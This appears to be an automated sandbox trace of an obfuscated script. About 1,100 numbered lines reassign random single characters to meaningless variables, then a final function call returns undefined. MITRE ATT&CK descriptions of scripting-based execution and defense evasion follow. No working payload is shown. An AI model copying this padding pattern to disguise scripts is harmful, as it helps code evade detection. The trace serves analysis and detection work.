327	tqqefifz = "l";
328	tqqefifz = "i";
329	tqqefifz = "X";
330	tqqefifz = "m";
331	tqqefifz = "S";
332	tqqefifz = "C";
333	tqqefifz = "A";
334	tqqefifz = "F";
335	tqqefifz = "o";
336	tqqefifz = "H";
337	tqqefifz = "r";
338	tqqefifz = "V";
339	tqqefifz = "V";
340	tqqefifz = "p";
341	tqqefifz = "Z";
342	tqqefifz = "r";
343	tqqefifz = "s";
344	tqqefifz = "d";
345	tqqefifz = "r";
346	tqqefifz = "f";
347	tqqefifz = "m";
348	tqqefifz = "l";
349	tqqefifz = "R";
350	tqqefifz = "K";
351	cqosafmo = "n";
352	cqosafmo = "B";
353	cqosafmo = "f";
354	cqosafmo = "J";
355	cqosafmo = "E";
356	cqosafmo = "X";
357	cqosafmo = "d";
358	cqosafmo = "j";
359	cqosafmo = "Q";
360	cqosafmo = "j";
361	cqosafmo = "f";
362	cqosafmo = "C";
363	cqosafmo = "w";
364	cqosafmo = "F";
365	cqosafmo = "d";
366	cqosafmo = "y";
367	cqosafmo = "l";
368	cqosafmo = "l";
369	cqosafmo = "f";
370	cqosafmo = "k";
371	cqosafmo = "m";
372	cqosafmo = "n";
373	npglwtucl = "M";
374	npglwtucl = "w";
375	npglwtucl = "B";
376	npglwtucl = "H";
377	npglwtucl = "L";
378	npglwtucl = "e";
379	npglwtucl = "h";
380	npglwtucl = "b";
381	npglwtucl = "O";
382	npglwtucl = "v";
383	npglwtucl = "t";
384	npglwtucl = "f";
385	npglwtucl = "S";
386	npglwtucl = "H";
387	bnnwf = "B";
388	bnnwf = "b";
389	bnnwf = "l";
390	bnnwf = "U";
391	bnnwf = "C";
392	bnnwf = "C";
393	bnnwf = "f";
394	bnnwf = "p";
395	bnnwf = "Y";
396	aittp = "S";
397	aittp = "E";
398	aittp = "I";
399	aittp = "k";
400	voasz = "Y";
401	voasz = "D";
402	voasz = "V";
403	voasz = "M";
404	voasz = "g";
405	voasz = "R";
406	voasz = "l";
407	voasz = "w";
408	voasz = "k";
409	voasz = "m";
410	voasz = "L";
411	voasz = "t";
412	voasz = "K";
413	voasz = "l";
414	voasz = "d";
415	voasz = "C";
416	voasz = "G";
417	voasz = "x";
418	voasz = ".";
419	owxnfizjr = "s";
420	owxnfizjr = "O";
421	owxnfizjr = "T";
422	owxnfizjr = "v";
423	owxnfizjr = "A";
424	owxnfizjr = "X";
425	owxnfizjr = "d";
426	owxnfizjr = "L";
427	owxnfizjr = "K";
428	owxnfizjr = "X";
429	owxnfizjr = "c";
430	owxnfizjr = "z";
431	owxnfizjr = "p";
432	owxnfizjr = "C";
433	owxnfizjr = "y";
434	owxnfizjr = "g";
435	owxnfizjr = "J";
436	owxnfizjr = "H";
437	owxnfizjr = "J";
438	owxnfizjr = "d";
439	owxnfizjr = "L";
440	owxnfizjr = "K";
441	owxnfizjr = "A";
442	owxnfizjr = "Q";
443	owxnfizjr = "t";
444	owxnfizjr = "S";
445	owxnfizjr = "f";
446	owxnfizjr = "A";
447	owxnfizjr = "Y";
448	owxnfizjr = "T";
449	owxnfizjr = "w";
450	owxnfizjr = "V";
451	owxnfizjr = "j";
452	jemzblhqe = "h";
453	jemzblhqe = "T";
454	jemzblhqe = "W";
455	jemzblhqe = "z";
456	jemzblhqe = "E";
457	jemzblhqe = "K";
458	jemzblhqe = "B";
459	jemzblhqe = "K";
460	jemzblhqe = "x";
461	jemzblhqe = "m";
462	jemzblhqe = "e";
463	jemzblhqe = "x";
464	jemzblhqe = "T";
465	jemzblhqe = "R";
466	jemzblhqe = "j";
467	jemzblhqe = "V";
468	jemzblhqe = "Q";
469	jemzblhqe = "H";
470	jemzblhqe = "V";
471	jemzblhqe = "j";
472	jemzblhqe = "P";
473	jemzblhqe = "t";
474	dvodrt = "g";
475	dvodrt = "J";
476	dvodrt = "D";
477	dvodrt = "c";
478	dvodrt = "B";
479	dvodrt = "x";
480	dvodrt = "X";
481	dvodrt = "X";
482	dvodrt = "P";
483	dvodrt = "T";
484	dvodrt = "U";
485	dvodrt = "K";
486	dvodrt = "A";
487	dvodrt = "P";
488	dvodrt = "a";
489	dvodrt = "z";
490	dvodrt = "k";
491	dvodrt = "G";
492	dvodrt = "s";
493	dvodrt = "W";
494	dvodrt = "l";
495	dvodrt = "L";
496	dvodrt = "H";
497	dvodrt = "V";
498	dvodrt = "g";
499	dvodrt = "f";
500	dvodrt = "W";
501	dvodrt = "K";
502	dvodrt = "P";
503	dvodrt = "w";
504	dvodrt = "U";
505	dvodrt = "P";
506	dvodrt = "q";
507	necytpe = "l";
508	necytpe = "S";
509	necytpe = "g";
510	necytpe = "y";
511	necytpe = "c";
512	necytpe = "k";
513	necytpe = "s";
514	necytpe = "X";
515	necytpe = "l";
516	necytpe = "z";
517	necytpe = "D";
518	necytpe = "i";
519	necytpe = "d";
520	qcigxma = "A";
521	qcigxma = "b";
522	qcigxma = "M";
523	qcigxma = "a";
524	qcigxma = "A";
525	qcigxma = "r";
526	qcigxma = "P";
527	qcigxma = "E";
528	qcigxma = "Z";
529	qcigxma = "e";
530	qcigxma = "A";
531	qcigxma = "P";
532	qcigxma = "o";
533	qcigxma = "y";
534	qcigxma = "&";
535	kkkhrydb = "Q";
536	kkkhrydb = "u";
537	kkkhrydb = "c";
538	kkkhrydb = "z";
539	kkkhrydb = "X";
540	kkkhrydb = "u";
541	kkkhrydb = "w";
542	kkkhrydb = "u";
543	keenh = "H";
544	keenh = "s";
545	keenh = "o";
546	keenh = "r";
547	keenh = "u";
548	keenh = "I";
549	keenh = "x";
550	keenh = "W";
551	keenh = "v";
552	keenh = "K";
553	keenh = "w";
554	keenh = "z";
555	keenh = "V";
556	keenh = "T";
557	keenh = "y";
558	keenh = "I";
559	keenh = "D";
560	keenh = "c";
561	keenh = "e";
562	keenh = "I";
563	keenh = "W";
564	keenh = "z";
565	keenh = "m";
566	keenh = "D";
567	keenh = "v";
568	keenh = "D";
569	keenh = "x";
570	keenh = "k";
571	keenh = "z";
572	keenh = "N";
573	keenh = "U";
574	keenh = "s";
575	keenh = "f";
576	keenh = "R";
577	keenh = "n";
578	keenh = "W";
579	keenh = "o";
580	keenh = "p";
581	keenh = "e";
582	keenh = "U";
583	keenh = "f";
584	keenh = "h";
585	keenh = "J";
586	keenh = " ";
587	fklaxqng = "x";
588	fklaxqng = "Y";
589	fklaxqng = "l";
590	fklaxqng = "V";
591	fklaxqng = "O";
592	fklaxqng = "r";
593	fklaxqng = "g";
594	fklaxqng = "J";
595	fklaxqng = "w";
596	fklaxqng = "w";
597	fklaxqng = "J";
598	fklaxqng = "k";
599	fklaxqng = "C";
600	fklaxqng = "k";
601	fklaxqng = "S";
602	fklaxqng = "B";
603	fklaxqng = "k";
604	fklaxqng = "n";
605	fklaxqng = "j";
606	fklaxqng = "o";
607	fklaxqng = "O";
608	fklaxqng = "X";
609	fklaxqng = "E";
610	fklaxqng = "C";
611	fklaxqng = "5";
612	lhhwhg = "J";
613	lhhwhg = "t";
614	lhhwhg = "q";
615	lhhwhg = "w";
616	lhhwhg = "o";
617	lhhwhg = "R";
618	lhhwhg = "R";
619	lhhwhg = "N";
620	lhhwhg = "l";
621	lhhwhg = "u";
622	lhhwhg = "T";
623	lhhwhg = "X";
624	lhhwhg = "O";
625	lhhwhg = "H";
626	lhhwhg = "W";
627	lhhwhg = "O";
628	lhhwhg = "i";
629	vyjwks = "J";
630	vyjwks = "o";
631	vyjwks = "r";
632	vyjwks = "n";
633	vyjwks = "r";
634	vyjwks = "s";
635	vyjwks = "d";
636	vyjwks = "o";
637	vyjwks = "t";
638	vyjwks = "O";
639	vyjwks = "D";
640	vyjwks = "L";
641	vyjwks = "i";
642	vyjwks = "g";
643	vyjwks = "J";
644	vyjwks = "y";
645	vyjwks = "p";
646	vyjwks = "Z";
647	vyjwks = "x";
648	vyjwks = "N";
649	vyjwks = "o";
650	vyjwks = "y";
651	vyjwks = "b";
652	vyjwks = "H";
653	vyjwks = "_";
654	pkufnpxza = "o";
655	pkufnpxza = "M";
656	pkufnpxza = "N";
657	pkufnpxza = "M";
658	pkufnpxza = "a";
659	pkufnpxza = "V";
660	pkufnpxza = "q";
661	pkufnpxza = "@";
662	hcynbwp = "o";
663	hcynbwp = "v";
664	hcynbwp = "f";
665	hcynbwp = "t";
666	hcynbwp = "Y";
667	hcynbwp = "b";
668	hcynbwp = "G";
669	hcynbwp = "L";
670	hcynbwp = "q";
671	hcynbwp = "S";
672	hcynbwp = "s";
673	hcynbwp = "l";
674	hcynbwp = "H";
675	hcynbwp = "j";
676	hcynbwp = "C";
677	hcynbwp = "Q";
678	hcynbwp = "c";
679	hcynbwp = "j";
680	hcynbwp = "M";
681	hcynbwp = "m";
682	hcynbwp = "W";
683	hcynbwp = "G";
684	hcynbwp = "Y";
685	hcynbwp = "t";
686	hcynbwp = "r";
687	hcynbwp = "v";
688	wqofdvtpl = "J";
689	wqofdvtpl = "c";
690	wqofdvtpl = "V";
691	wqofdvtpl = "w";
692	wqofdvtpl = "O";
693	wqofdvtpl = "C";
694	wqofdvtpl = "P";
695	wqofdvtpl = "Y";
696	wqofdvtpl = "j";
697	wqofdvtpl = "A";
698	wqofdvtpl = "N";
699	wqofdvtpl = "n";
700	wqofdvtpl = "M";
701	wqofdvtpl = "z";
702	wqofdvtpl = "h";
703	wqofdvtpl = "G";
704	wqofdvtpl = "L";
705	wqofdvtpl = "G";
706	wqofdvtpl = "c";
707	wqofdvtpl = "P";
708	wqofdvtpl = "g";
709	wqofdvtpl = "E";
710	wqofdvtpl = "S";
711	wqofdvtpl = "W";
712	wqofdvtpl = "S";
713	wqofdvtpl = "D";
714	wqofdvtpl = "q";
715	wqofdvtpl = "N";
716	wqofdvtpl = "S";
717	wqofdvtpl = "N";
718	wqofdvtpl = "h";
719	wqofdvtpl = "b";
720	wqofdvtpl = "z";
721	wqofdvtpl = "I";
722	wqofdvtpl = "Y";
723	wqofdvtpl = "E";
724	wqofdvtpl = "9";
725	bloxg = "Q";
726	bloxg = "w";
727	bloxg = "Y";
728	bloxg = "y";
729	bloxg = "f";
730	bloxg = "V";
731	bloxg = "b";
732	bloxg = "T";
733	bloxg = "t";
734	bloxg = "W";
735	bloxg = "d";
736	bloxg = "K";
737	bloxg = "k";
738	bloxg = "c";
739	bloxg = "U";
740	bloxg = "z";
741	bloxg = "Q";
742	bloxg = "M";
743	bloxg = "z";
744	bloxg = "Y";
745	bloxg = "S";
746	bloxg = "T";
747	bloxg = "U";
748	bloxg = "g";
749	bloxg = "v";
750	bloxg = "u";
751	bloxg = "B";
752	bloxg = "j";
753	bloxg = "u";
754	bloxg = "I";
755	bloxg = "R";
756	bloxg = "d";
757	bloxg = "R";
758	bloxg = "C";
759	bloxg = "y";
760	bloxg = "h";
761	bloxg = "n";
762	bloxg = "v";
763	bloxg = "G";
764	bloxg = "O";
765	iavkez = "N";
766	czlea = "E";
767	czlea = "m";
768	czlea = "b";
769	czlea = "h";
770	czlea = "P";
771	czlea = "M";
772	czlea = "k";
773	czlea = "l";
774	czlea = "I";
775	czlea = "p";
776	czlea = "l";
777	czlea = "n";
778	czlea = "t";
779	czlea = "B";
780	czlea = "s";
781	czlea = "E";
782	czlea = "L";
783	czlea = "p";
784	czlea = "u";
785	czlea = "J";
786	czlea = "W";
787	czlea = "G";
788	czlea = "r";
789	czlea = "e";
790	czlea = "3";
791	cbyif = "z";
792	cbyif = "T";
793	cbyif = "e";
794	cbyif = "o";
795	cbyif = "e";
796	cbyif = "S";
797	cbyif = "b";
798	cbyif = "g";
799	cbyif = "k";
800	cbyif = "W";
801	cbyif = "V";
802	cbyif = "I";
803	cbyif = "C";
804	cbyif = "t";
805	cbyif = "d";
806	cbyif = "j";
807	cbyif = "R";
808	cbyif = "G";
809	cbyif = "u";
810	cbyif = "G";
811	cbyif = "z";
812	cbyif = "h";
813	cbyif = "t";
814	cbyif = "%";
815	xhhjjvh = "j";
816	xhhjjvh = "F";
817	xhhjjvh = "F";
818	xhhjjvh = "F";
819	xhhjjvh = "v";
820	xhhjjvh = "u";
821	xhhjjvh = "S";
822	xhhjjvh = "z";
823	xhhjjvh = "p";
824	xhhjjvh = "F";
825	xhhjjvh = "L";
826	xhhjjvh = "U";
827	xhhjjvh = "L";
828	xhhjjvh = "N";
829	xhhjjvh = "n";
830	xhhjjvh = "G";
831	xhhjjvh = "B";
832	xhhjjvh = "z";
833	xhhjjvh = "J";
834	xhhjjvh = "A";
835	xhhjjvh = "Q";
836	xhhjjvh = "z";
837	xhhjjvh = "e";
838	yusqy = "J";
839	yusqy = "T";
840	yusqy = "S";
841	yusqy = "W";
842	yusqy = "S";
843	yusqy = "O";
844	yusqy = "Z";
845	yusqy = "t";
846	yusqy = "U";
847	yusqy = "Q";
848	yusqy = "C";
849	yusqy = "L";
850	yusqy = "M";
851	yusqy = "n";
852	yusqy = "w";
853	yusqy = "K";
854	yusqy = "Z";
855	yusqy = "F";
856	yusqy = "r";
857	yusqy = "m";
858	yusqy = "J";
859	yusqy = "Z";
860	yusqy = "Q";
861	yusqy = "K";
862	yusqy = "T";
863	yusqy = "O";
864	yusqy = "Y";
865	yusqy = "-";
866	smljsl = "B";
867	smljsl = "T";
868	smljsl = "e";
869	smljsl = "F";
870	smljsl = "Y";
871	smljsl = "N";
872	smljsl = "r";
873	smljsl = "T";
874	smljsl = "d";
875	smljsl = "b";
876	smljsl = "r";
877	smljsl = "e";
878	smljsl = "H";
879	smljsl = "R";
880	smljsl = "w";
881	smljsl = "F";
882	smljsl = "l";
883	smljsl = "x";
884	smljsl = "i";
885	smljsl = "l";
886	smljsl = "C";
887	smljsl = "n";
888	smljsl = "H";
889	smljsl = "0";
890	rhgddr = "V";
891	rhgddr = "y";
892	rhgddr = "J";
893	rhgddr = "T";
894	rhgddr = "G";
895	rhgddr = "B";
896	rhgddr = "d";
897	rhgddr = "r";
898	rhgddr = "V";
899	rhgddr = "E";
900	rhgddr = "V";
901	rhgddr = "Q";
902	rhgddr = "S";
903	rhgddr = "n";
904	rhgddr = "n";
905	rhgddr = "P";
906	rhgddr = "N";
907	rhgddr = "s";
908	rhgddr = "N";
909	rhgddr = "M";
910	rhgddr = "d";
911	rhgddr = "B";
912	rhgddr = "M";
913	rhgddr = "p";
914	rhgddr = "Q";
915	rhgddr = "R";
916	rhgddr = "G";
917	rhgddr = "a";
918	rhgddr = "p";
919	rhgddr = "p";
920	rhgddr = "M";
921	rhgddr = "L";
922	rhgddr = "a";
923	rhgddr = "P";
924	rhgddr = "V";
925	rhgddr = "U";
926	rhgddr = "E";
927	rhgddr = "Z";
928	rhgddr = "U";
929	rhgddr = "v";
930	rhgddr = "g";
931	rhgddr = "t";
932	rhgddr = "M";
933	rhgddr = "w";
934	xlkhg = "O";
935	xlkhg = "J";
936	xlkhg = "O";
937	xlkhg = "i";
938	xlkhg = "S";
939	xlkhg = "w";
940	xlkhg = "N";
941	xlkhg = "Z";
942	xlkhg = "D";
943	xlkhg = "o";
944	xlkhg = "F";
945	xlkhg = "b";
946	xlkhg = "w";
947	xlkhg = "n";
948	xlkhg = "q";
949	xlkhg = "x";
950	xlkhg = "l";
951	xlkhg = "X";
952	xlkhg = "F";
953	xlkhg = "t";
954	xlkhg = "y";
955	xlkhg = "e";
956	xlkhg = "R";
957	xlkhg = "E";
958	xlkhg = "s";
959	xlkhg = "r";
960	xlkhg = "x";
961	xlkhg = "B";
962	xlkhg = "M";
963	xlkhg = "E";
964	xlkhg = "f";
965	xlkhg = "W";
966	xlkhg = "R";
967	xlkhg = "p";
968	xlkhg = "v";
969	xlkhg = "e";
970	xlkhg = "a";
971	xlkhg = "Q";
972	xlkhg = "S";
973	xlkhg = "Q";
974	xlkhg = "1";
975	hmuve = "M";
976	hmuve = "p";
977	hmuve = "C";
978	hmuve = "B";
979	hmuve = "n";
980	hmuve = "j";
981	hmuve = "g";
982	hmuve = "k";
983	hmuve = "g";
984	hmuve = "H";
985	hmuve = "S";
986	hmuve = "K";
987	hmuve = "Q";
988	hmuve = "y";
989	hmuve = "t";
990	hmuve = "l";
991	hmuve = "z";
992	hmuve = "w";
993	hmuve = "e";
994	hmuve = "w";
995	hmuve = "H";
996	hmuve = "B";
997	hmuve = "H";
998	hmuve = "u";
999	hmuve = "U";
1000	hmuve = "c";
1001	hmuve = "f";
1002	hmuve = "d";
1003	hmuve = "v";
1004	hmuve = "j";
1005	hmuve = "b";
1006	hmuve = "w";
1007	hmuve = "F";
1008	hmuve = "N";
1009	hmuve = "h";
1010	hmuve = "f";
1011	slmlu = "o";
1012	slmlu = "Q";
1013	slmlu = "g";
1014	slmlu = "I";
1015	slmlu = "c";
1016	slmlu = "S";
1017	slmlu = "g";
1018	slmlu = "g";
1019	slmlu = "X";
1020	slmlu = "H";
1021	slmlu = "S";
1022	slmlu = "P";
1023	slmlu = "U";
1024	slmlu = "K";
1025	slmlu = "z";
1026	slmlu = "S";
1027	slmlu = "p";
1028	slmlu = "l";
1029	slmlu = "F";
1030	slmlu = "f";
1031	slmlu = "\\";
1032	bfcnadpds = "T";
1033	bfcnadpds = "W";
1034	bfcnadpds = "O";
1035	bfcnadpds = "V";
1036	bfcnadpds = "B";
1037	bfcnadpds = "E";
1038	bfcnadpds = "t";
1039	bfcnadpds = "F";
1040	bfcnadpds = "u";
1041	bfcnadpds = "R";
1042	bfcnadpds = "D";
1043	bfcnadpds = "G";
1044	bfcnadpds = "H";
1045	bfcnadpds = "E";
1046	bfcnadpds = "g";
1047	bfcnadpds = "a";
1048	bfcnadpds = "D";
1049	bfcnadpds = "r";
1050	bfcnadpds = "c";
1051	bfcnadpds = "p";
1052	bfcnadpds = "B";
1053	bfcnadpds = "s";
1054	bfcnadpds = "H";
1055	bfcnadpds = "h";
1056	bfcnadpds = "I";
1057	bfcnadpds = "J";
1058	bfcnadpds = "O";
1059	bfcnadpds = "m";
1060	bfcnadpds = "J";
1061	bfcnadpds = "F";
1062	bfcnadpds = "J";
1063	bfcnadpds = "M";
1064	bfcnadpds = "p";
1065	bfcnadpds = "H";
1066	bfcnadpds = "N";
1067	bfcnadpds = "e";
1068	bfcnadpds = "s";
1069	bfcnadpds = "Y";
1070	bfcnadpds = "a";
1071	bfcnadpds = "6";
1072	elcxh = "u";
1073	elcxh = "B";
1074	elcxh = "G";
1075	elcxh = "I";
1076	elcxh = "f";
1077	elcxh = "D";
1078	elcxh = "l";
1079	elcxh = "f";
1080	elcxh = "H";
1081	elcxh = "f";
1082	elcxh = "o";
1083	elcxh = "I";
1084	elcxh = "v";
1085	elcxh = "s";
1086	elcxh = "y";
1087	elcxh = "J";
1088	elcxh = "e";
1089	elcxh = "h";
1090	elcxh = "y";
1091	elcxh = "r";
1092	elcxh = "n";
1093	elcxh = "D";
1094	elcxh = "o";
1095	elcxh = "F";
1096	ofwhhcuiw = "S";
1097	ofwhhcuiw = "N";
1098	ofwhhcuiw = "C";
1099	ofwhhcuiw = "k";
1100	ofwhhcuiw = "x";
1101	ofwhhcuiw = "D";
1102	ofwhhcuiw = "C";
1103	ofwhhcuiw = "T";
1104	ofwhhcuiw = "j";
1105	ofwhhcuiw = "c";
1106	ofwhhcuiw = "i";
1107	ofwhhcuiw = "G";
1108	ofwhhcuiw = "S";
1109	ofwhhcuiw = "b";
1110	ofwhhcuiw = "o";
1111	ofwhhcuiw = "d";
1112	ofwhhcuiw = "f";
1113	ofwhhcuiw = "X";
1114	ofwhhcuiw = "b";
1115	ofwhhcuiw = "a";
1116	ofwhhcuiw = "r";
1117	ofwhhcuiw = "O";
1118	ofwhhcuiw = "q";
1119	ofwhhcuiw = "a";
1120	ofwhhcuiw = "s";
1121	ofwhhcuiw = "H";
1122	ofwhhcuiw = "r";
1123	ofwhhcuiw = "v";
1124	ofwhhcuiw = "b";
1125	ofwhhcuiw = "w";
1126	ofwhhcuiw = "P";
1127	xaahhp = "E";
1128	xaahhp = "o";
1129	xaahhp = "E";
1130	xaahhp = "4";
1131	rjscr = "u";
1132	rjscr = "i";
1133	rjscr = "a";
1134	rjscr = "c";
1135	rjscr = "X";
1136	rjscr = "h";
1137	rjscr = "q";
1138	rjscr = "E";
1139	rjscr = "B";
1140	rjscr = "p";
1141	rjscr = "p";
1142	rjscr = "G";
1143	rjscr = "b";
1144	rjscr = "g";
1145	rjscr = "k";
1146	rjscr = "O";
1147	rjscr = "S";
1148	rjscr = "q";
1149	rjscr = "e";
1150	rjscr = "w";
1151	rjscr = "Q";
1152	rjscr = "S";
1153	fxyuujnht = "Q";
1154	fxyuujnht = "Y";
1155	fxyuujnht = "t";
1156	fxyuujnht = "X";
1157	fxyuujnht = "P";
1158	fxyuujnht = "g";
1159	fxyuujnht = "U";
1160	fxyuujnht = "O";
1161	fxyuujnht = "S";
1162	fxyuujnht = "N";
1163	fxyuujnht = "c";
1164	fxyuujnht = "r";
1165	fxyuujnht = "P";
1166	fxyuujnht = "q";
1167	fxyuujnht = "a";
1168	fxyuujnht = "e";
1169	fxyuujnht = "o";
1170	fxyuujnht = "x";
1171	ecfao = "d";
1172	ecfao = "C";
1173	ecfao = "K";
1174	ecfao = "q";
1175	ecfao = "q";
1176	ecfao = "C";
1177	ecfao = "z";
1178	ecfao = "x";
1179	ecfao = "Z";
1180	ecfao = "P";
1181	ecfao = "r";
1182	ecfao = "L";
1183	ecfao = "N";
1184	ecfao = "k";
1185	ecfao = "Z";
1186	ecfao = "R";
1187	ecfao = "R";
1188	ecfao = "C";
1189	ecfao = "T";
1190	ecfao = "E";
1191	ecfao = "l";
1192	ecfao = "w";
1193	ecfao = "K";
1194	ecfao = "U";
1195	ecfao = "m";
1196	ecfao = "L";
1197	bnkvm = "C";
1198	bnkvm = "q";
1199	bnkvm = "w";
1200	bnkvm = "F";
1201	bnkvm = "D";
1202	bnkvm = "D";
1203	bnkvm = "V";
1204	bnkvm = "o";
1205	bnkvm = "Z";
1206	bnkvm = "f";
1207	bnkvm = "Y";
1208	bnkvm = "X";
1209	bnkvm = "I";
1210	smpwqxfjy = "I";
1211	smpwqxfjy = "\"";
1212	nuxbev = "d";
1213	nuxbev = "B";
1214	nuxbev = "D";
1215	nuxbev = "X";
1216	nuxbev = "U";
1217	nuxbev = "p";
1218	nuxbev = "R";
1219	nuxbev = "G";
1220	nuxbev = "y";
1221	nuxbev = "g";
1222	nuxbev = "I";
1223	nuxbev = "S";
1224	nuxbev = "s";
1225	nuxbev = "t";
1226	nuxbev = "E";
1227	nuxbev = "f";
1228	nuxbev = "a";
1229	nuxbev = "G";
1230	nuxbev = "G";
1231	nuxbev = "T";
1232	nuxbev = "P";
1233	nuxbev = "E";
1234	gvfkadg = "I";
1235	gvfkadg = "u";
1236	gvfkadg = "v";
1237	gvfkadg = "v";
1238	gvfkadg = "l";
1239	gvfkadg = "N";
1240	gvfkadg = "N";
1241	gvfkadg = "L";
1242	gvfkadg = "E";
1243	gvfkadg = "c";
1244	gvfkadg = "w";
1245	gvfkadg = "s";
1246	gvfkadg = "r";
1247	gvfkadg = "e";
1248	gvfkadg = "f";
1249	gvfkadg = "A";
1250	gvfkadg = "d";
1251	gvfkadg = "l";
1252	gvfkadg = "T";
1253	gvfkadg = "w";
1254	gvfkadg = "M";
1255	gvfkadg = "f";
1256	gvfkadg = "g";
1257	gvfkadg = "f";
1258	gvfkadg = "A";
1259	gvfkadg = "K";
1260	gvfkadg = "m";
1261	gvfkadg = "Z";
1262	gvfkadg = "J";
1263	gvfkadg = "o";
1264	gvfkadg = "u";
1265	gvfkadg = "f";
1266	gvfkadg = "W";
1267	gvfkadg = "d";
1268	gvfkadg = "Y";
1269	gvfkadg = "R";
1270	ygxnfk = "I";
1271	ygxnfk = "I";
1272	ygxnfk = "b";
1273	ygxnfk = "q";
1274	ygxnfk = "h";
1275	ygxnfk = "T";
1276	ygxnfk = "B";
1277	ygxnfk = "q";
1278	ygxnfk = "c";
1279	ygxnfk = "J";
1280	ygxnfk = "s";
1281	ygxnfk = "M";
1282	ygxnfk = "v";
1283	ygxnfk = "G";
1284	ygxnfk = "b";
1285	ygxnfk = "l";
1286	ygxnfk = "t";
1287	ygxnfk = "A";
1288	ygxnfk = "G";
1289	ygxnfk = "W";
1290	ygxnfk = "w";
1291	ygxnfk = "h";
1292	ygxnfk = "k";
1293	ygxnfk = "o";
1294	ygxnfk = "o";
1295	ygxnfk = "P";
1296	ygxnfk = "p";
1297	ygxnfk = "z";
1298	ygxnfk = "f";
1299	ygxnfk = "y";
1300	ygxnfk = "U";
1301	ygxnfk = "L";
1302	ygxnfk = "G";
1303	ygxnfk = "M";
1304	ygxnfk = "N";
1305	ygxnfk = "2";
1306	pvizqc = "t";
1307	pvizqc = "X";
1308	pvizqc = "t";
1309	pvizqc = "/";
1310	ypnpeaoa = "T";
1311	ypnpeaoa = "u";
1312	ypnpeaoa = "P";
1313	ypnpeaoa = "E";
1314	ypnpeaoa = "p";
1315	uegxrbmg = "x";
1316	uegxrbmg = "a";
1317	uegxrbmg = "c";
1318	uegxrbmg = "Q";
1319	uegxrbmg = "q";
1320	uegxrbmg = "J";
1321	uegxrbmg = "S";
1322	uegxrbmg = "L";
1323	uegxrbmg = "A";
1324	uegxrbmg = "s";
1325	uegxrbmg = "Q";
1326	uegxrbmg = "P";
1327	uegxrbmg = "x";
1328	uegxrbmg = "q";
1329	uegxrbmg = "n";
1330	uegxrbmg = "R";
1331	uegxrbmg = "d";
1332	uegxrbmg = "i";
1333	uegxrbmg = "S";
1334	uegxrbmg = "A";
1335	uegxrbmg = "J";
1336	uegxrbmg = "H";
1337	uegxrbmg = "T";
1338	uegxrbmg = "y";
1339	uegxrbmg = "Q";
1340	qjcpri = "Z";
1341	qjcpri = "R";
1342	qjcpri = "k";
1343	qjcpri = "d";
1344	qjcpri = "x";
1345	qjcpri = "K";
1346	qjcpri = "n";
1347	qjcpri = "A";
1348	qjcpri = "A";
1349	qjcpri = "H";
1350	qjcpri = "u";
1351	qjcpri = "I";
1352	qjcpri = "i";
1353	qjcpri = "E";
1354	qjcpri = "p";
1355	qjcpri = "Q";
1356	qjcpri = "J";
1357	qjcpri = "q";
1358	qjcpri = "m";
1359	qjcpri = "D";
1360	qjcpri = "l";
1361	qjcpri = "x";
1362	qjcpri = "H";
1363	qjcpri = "J";
1364	qjcpri = "v";
1365	qjcpri = "I";
1366	qjcpri = "D";
1367	qjcpri = "o";
1368	qjcpri = "Z";
1369	qjcpri = "B";
1370	qjcpri = "Q";
1371	qjcpri = "h";
1372	qjcpri = "W";
1373	qjcpri = "X";
1374	qjcpri = "I";
1375	qjcpri = "L";
1376	qjcpri = ":";
1377	huoyzek = "Y";
1378	huoyzek = "B";
1379	huoyzek = "q";
1380	huoyzek = "w";
1381	huoyzek = "d";
1382	huoyzek = "k";
1383	huoyzek = "O";
1384	huoyzek = "V";
1385	huoyzek = "Z";
1386	huoyzek = "A";
1387	huoyzek = "l";
1388	huoyzek = "h";
1389	huoyzek = "O";
1390	huoyzek = "M";
1391	huoyzek = "B";
1392	huoyzek = "e";
1393	huoyzek = "k";
1394	huoyzek = "k";
1395	huoyzek = "K";
1396	huoyzek = "l";
1397	huoyzek = "R";
1398	huoyzek = "O";
1399	huoyzek = "d";
1400	huoyzek = "C";
1401	huoyzek = "C";
1402	huoyzek = "l";
1403	huoyzek = "G";
1404	huoyzek = "T";
1405	huoyzek = "H";
1406	huoyzek = "T";
1407	huoyzek = "J";
1408	huoyzek = "F";
1409	huoyzek = "x";
1410	huoyzek = "d";
1411	huoyzek = "K";
1412	huoyzek = "a";
1413	huoyzek = "p";
1414	huoyzek = "z";
1415	huoyzek = "o";
1416	huoyzek = "H";
1417	huoyzek = "j";
1418	huoyzek = "j";
1419	huoyzek = "C";
1420	nxxmoy = "s";
1421	nxxmoy = "G";
1422	nxxmoy = "H";
1423	nxxmoy = "c";
1424	nxxmoy = "Z";
1425	nxxmoy = "q";
1426	nxxmoy = "E";
1427	nxxmoy = "v";
1428	nxxmoy = "H";
1429	nxxmoy = "d";
1430	nxxmoy = "L";
1431	nxxmoy = "y";
1432	nxxmoy = "A";
1433	nxxmoy = "o";
1434	nxxmoy = "V";
1435	nxxmoy = "H";
1436	nxxmoy = "C";
1437	nxxmoy = "U";
1438	nxxmoy = "k";
1439	nxxmoy = "L";
1440	nxxmoy = "C";
1441	nxxmoy = "N";
1442	nxxmoy = "t";
1443	nxxmoy = "N";
1444	nxxmoy = "x";
1445	nxxmoy = "S";
1446	nxxmoy = "m";
1447	nxxmoy = "K";
1448	nxxmoy = "t";
1449	nxxmoy = "N";
1450	nxxmoy = "J";
1451	nxxmoy = "x";
1452	nxxmoy = "P";
1453	nxxmoy = "I";
1454	nxxmoy = "s";
1455	nxxmoy = "s";
1456	nxxmoy = "B";
1457	nxxmoy = "p";
1458	nxxmoy = "n";
1459	nxxmoy = "o";
1460	vwrysggj = "J";
1461	vwrysggj = "l";
1462	vwrysggj = "Y";
1463	vwrysggj = "L";
1464	vwrysggj = "q";
1465	vwrysggj = "l";
1466	vwrysggj = "z";
1467	vwrysggj = "S";
1468	vwrysggj = "S";
1469	vwrysggj = "e";
1470	vwrysggj = "b";
1471	aycdqiji ( );	aycdqiji() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
